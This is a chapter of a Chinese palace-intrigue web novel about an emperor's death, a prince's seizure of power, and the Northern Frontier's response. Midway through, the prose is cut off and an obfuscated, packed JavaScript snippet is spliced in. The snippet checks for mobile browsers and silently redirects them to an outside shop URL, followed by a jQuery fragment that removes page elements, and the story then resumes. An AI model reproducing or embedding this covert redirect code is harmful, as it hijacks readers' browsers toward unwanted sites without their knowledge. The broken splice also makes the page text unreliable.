59. 隐痛
作品:《黑莲花恶女拒做笼中雀》 京城。
帝王寝宫。
卫昭帝躺在龙床之上,身旁却并没有内侍,只有五皇子尹彧。
尹彧手中拿着最新的奏报,微微俯身:“父皇的旨意,儿臣已然全数送去了北疆。”
卫昭帝心神俱震,却起不来身,只能发出几声含糊不清的叱骂:“逆子!”
尹彧挑眉一笑,“儿臣只是将父皇的旨意传了下去,父皇可是心软了?”
卫昭帝的呼吸急促,眼看着像是要昏过去了。
尹彧却猛地迫近了卫昭帝,“突厥夜袭断云城,北疆危急,镇北王命悬一线。”
卫昭帝准备了两道圣旨,一是下令武胜关从此不再援助北疆。
二是……
用了一颗深埋在北疆的钉子。
尹彧挑眉一笑,“既然陛下犹豫不决,儿臣便做主,用了那一颗钉子。”
钉子也是真的有本事,手中的东西不少,从布防图到断云城的守备,竟然全都被他透露出来了。
卫昭帝猛地挣动起来,眼中怒火迸溅,像是要活撕了尹彧,惊怒道:“逆子,朕要将你……”
尹彧眉头紧锁,不解地问:“这难道不好吗?父皇的谋算,已然成了。”
卫昭帝“呼哧”两声,却说不出话。
卫昭帝此刻浑身剧痛,尤其是腿骨处,似乎又生出了一阵阵隐痛。
卫昭帝的眼睛早先便有些看不清了,此刻却好似又望见了那个趴在他床边掉眼泪的身影。
当年秋猎,卫昭帝牢牢地将连明赫护在身后,腿上也因此被恶狼狠狠咬下了一块肉。
好在没有伤了筋骨。
连明赫当时才不过十来岁,趴在卫昭帝床榻前啪嗒啪嗒掉眼泪。
卫昭帝躺在床上,动弹不得,还记得伸手给人擦眼泪,“阿临,别哭,一点都不痛。你要是伤着了,我才觉得痛。”
连明赫一双眼眸中尽是泪珠,卫昭帝一下下耐心地哄:“阿临乖,不哭了。”
卫昭帝呼吸渐渐微弱,腿上多年前的创口似乎又在隐隐作痛。
卫昭帝一朝登临大宝,坐在御座上,像是随口一问:“我的儿子,阿临最喜欢哪个?”
当时的连明赫才刚刚十六岁,正打赢了最关键的一场战事,彻底打退了当时风头正盛的柔然。
连明赫正一心望着自己盘子里的螃蟹,随口道:“二皇子嘴甜,一点都不像你这个闷葫芦。”
二皇子的生母余氏早逝,在宫中实在是不起眼。
余氏是潜邸的老人,临死前,还一心为了自己儿子打算,殷殷嘱咐二皇子,一定要讨好姑母。
余氏从小便告诉二皇子,要一心对待姑母。
二皇子点点头,姑母权柄煊赫,手中掌握着北疆兵权,自然是要小心讨好的。
余氏摇摇头,却不曾多说:“记得,要像孝顺娘亲一般孝顺姑母,记得了吗?”
二皇子果然成了太子,可惜余氏不曾看见。
可余氏心中却像是明镜一般,她若是活着,就算二皇子再如何讨镇北王欢心,也不一定就能当成板上钉钉的皇太子,但是她死了,二皇子就有了希望。
她眼明心亮,皇太子一定是……
要讨镇北王欢心的那个。
尹彧站在龙床前,殿中寥寥几盏灯,在尹彧身上投出或明或隐的轮廓。
尹彧并不望着床上呼吸渐渐消散的帝王,却反而望着北窗,轻声道:“儿臣和父皇不同,儿臣……定然会如愿以偿。”
尹彧的母亲出身并不煊赫,本该出宫的藏书阁女史,却一朝变成了后妃,被卫昭帝纳为妃子。
众人眼中,这五皇子的生母,如今更是飞上了枝头,化为了鸾凤,成了板上钉钉的太后了。
当年太后被卫昭帝纳为后妃,众人都道,这位五皇子生母不知道是怎样的天姿绝色,迷得帝王失了神志。
可只有太后自己知晓,这份恩宠来得有多么荒诞,又是多么……
令她痛恨!
太后诞下五皇子之时,卫昭帝也曾冒着濛濛细雨匆匆赶来,后宫众人的多少帕子都要撕烂了,多少双眼睛都盯着太后宫中。
可卫昭帝只是瞧了一眼刚生出的孩子,看清了相貌后,便转身就走。
太后自此以后便不曾面圣,早已失宠多年。
太后的这等陈年秘事或许少有人知,可五皇子尹彧却是板上钉钉的不受宠。
宫中皆传闻,五皇子出生当月,天降陨石。周岁之时,又逢水患旱灾,生而不祥,为卫昭帝所不喜。
五皇子不受宠,便少不了被欺凌。
当年元宵,镇北王连明赫带着独女前来京城,宫中上下皆提起了一颗心,生怕有哪里不周到。
宫宴前,四皇子指挥内侍,摁着比他小几岁的尹彧,叫尹彧跪在宫道上,来来往往的人那样多,尹彧像是被人劈开了,剥去了外裳。
四皇子还不依不饶地辱骂了两句,“瞧你这幅样子,像个娘们似的!”
连襄身穿一身香罗纱的赤红锦袄,脖颈间挂着东珠璎珞,身前引路的是卫昭帝的大太监。
“咳咳——”
众位皇子骤然一惊,不敢在父皇的大总管面前撒泼,霎时间看着像是一团和气似的。
太子看着倒是温文尔雅,笑着问连襄:“妹妹,这是要往哪去?”
倘若不是连襄远远便看得清楚,或许还真的要信了。
连襄本来无意掺和这些事,可四皇子却是点在了连襄的逆鳞之上。
连襄站在高处,也不曾与他们这些皇子见礼,只居高临下地命令道:“我想去万玉池看锦鲤,你陪我,我现在就要去。”
宫里谁人不知晓连大姑娘的威名?
那可是在卫昭帝身上爬上爬下的贵主。
果不其然,众人就见,太子先伸出了手。
太子比连昭大几岁,此时已经有了少年人的模样,一双眼瞳眉眼弯弯,极有亲和力。
太子温柔道:“哥哥带你去,好不好?”
连襄却摇摇头:“不,不是你。”
连襄的手指准确地点了点人群里的尹彧,果断道:“表哥,陪我去万玉池。”
昔日,皇城中的惊鸿一瞥。
连襄红衣烈烈,衣角蹁跹。
眉目之间尽数是张扬肆意,直直地烧红这灰沉沉的天。
万年雪。
千岁蝶。
希世之珍。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137654|182208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
可望不可及。
也正是此次之后,尹彧在宫中的待遇,竟然好了起来。
镇北王长女的身影,从此再也不曾在尹彧的脑海中消逝。
“咚——”
卫昭帝驾崩。
撞钟三万杵??。
卫昭帝穿戴十二章衮服在白虎殿停灵,还不等将其移入梓宫,诸位皇子便气势汹汹地闯入了太极殿。
卫昭帝驾崩之时,身旁只有一个五皇子,众人如何能服气?
只是众人谁都不曾想到,五皇子看着不声不响,竟然将禁军拿捏在了手中。
诸位皇子手中虽然不像五皇子有这样好的底牌,可暗中站了队的官员可不少。
京城乱做一团,卫昭帝下葬安陵的事情无人再管,几个皇子都要斗成乌眼鸡了。
老太傅拍着大腿哭嚎:“陛下,陛下啊……”
礼部尚书满头银发都快掉光了,此时皱着一张老脸,不敢掺和几个皇子的事,可先帝就这么拖着,又实在是于理不合。
礼部尚书苦着脸:“老伙计,这安亲王若是能出面,是不是……”
老太傅哆哆嗦嗦地扶着柱子站起身,目光投向了北方:“安亲王不问世事多年,如何有用?若是论起平稳大局,非那位莫属啊。”
几日后。
连明赫接着了京城的来信,轻笑一声:“多少年了,这京城的富贵果然让人迷了眼。”
霍朝雍这般莽汉都有些发笑,京城的人竟然想着叫阿襄去主持大局?
这京城里的人可真是打得一手好算盘!
山桃性子最狠厉,气得骂道:“这一群丧天良的歹命鬼,想着叫咱们北疆风里来火里去,他们倒是眼巴巴地等着摘果子!”
是啊,这样简单的道理,京城里的人竟然看不分明。
这样一盘乱局,北疆搅合进去,不说费劲费力,说不准还要损兵折将,末了就是为了给他人做嫁衣裳?
京城八成以为北疆刚刚遭了突厥袭击,元气大伤,镇北王连明赫亦身受重伤,定然腾不出手来打下京城。
这些酸儒竟然指望着叫连襄来平定了这场动乱,再把手中绣好的龙袍双手奉上,只等着京中的新帝穿上?
呵,还是做梦比较快。
地牢。
火光摇晃,连明赫的身影隐匿在黑暗之中,“说罢。”
叶鹊喉咙处的锦带摘了下来,露出显眼的喉结。
旁的东西都可以隐藏,连相貌都有京城的秘药可以用,这喉结却藏不掉。
这么些年,在秘药的作用下,叶鹊长得越来越像女子,所以也……
越来越像早逝的姐姐。
有时候,连叶鹊都分不清,自己到底是谁。
连明赫把玩着手中的弯刀,“你就没有什么要对本王说的吗,叶鹤?”
叶鹤一言不发,手指却不受控制一般,不住地抓握着,带着手上的锁链都“哗啦哗啦”响。
连明赫皱着眉,眼瞧着这人像是发癫一般,忽然给了自己一巴掌。
就是这一巴掌之后,叶鹤整个人却忽然安静下来了,像是被什么人训了似的。
叶鹤喃喃道:“我不喜欢断云城……”

